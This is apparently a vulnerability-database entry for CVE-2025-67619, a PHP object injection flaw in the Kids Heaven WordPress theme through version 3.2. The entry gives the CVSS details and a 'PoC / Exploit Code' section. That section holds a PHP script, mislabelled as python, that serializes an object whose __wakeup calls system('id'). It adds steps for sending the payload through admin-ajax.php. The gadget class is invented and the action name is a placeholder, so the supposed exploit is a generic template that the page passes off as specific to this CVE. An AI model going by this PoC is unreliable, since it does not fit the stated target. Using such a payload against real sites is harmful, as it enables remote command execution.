Deserialization of Untrusted Data vulnerability in designthemes Kids Heaven kids-world allows Object Injection.This issue affects Kids Heaven: from n/a through <= 3.2.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Kids Heaven kids-world theme <= 3.2
designthemes Kids Heaven theme 所有版本至3.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php
// CVE-2025-67619 PoC - PHP Object Injection
// Target: WordPress Kids Heaven Theme <= 3.2
class ExamplePopChain {
public $callback;
public function __construct() {
// Construct malicious callback
$this->callback = 'system';
}
public function __wakeup() {
// Triggered on unserialize()
if (isset($this->callback)) {
call_user_func($this->callback, 'id'); // Execute system command
}
}
}
// Generate malicious serialized payload
$payload = serialize(new ExamplePopChain());
echo "Malicious Payload: " . $payload . "\n";
echo "Base64 Encoded: " . base64_encode($payload) . "\n";
// Attack vector:
// 1. Find the unserialize() sink in the theme
// 2. Send the payload via POST/GET parameter
// 3. Example: POST /wp-admin/admin-ajax.php -d 'action=theme_action&data=BASE64_PAYLOAD'
?>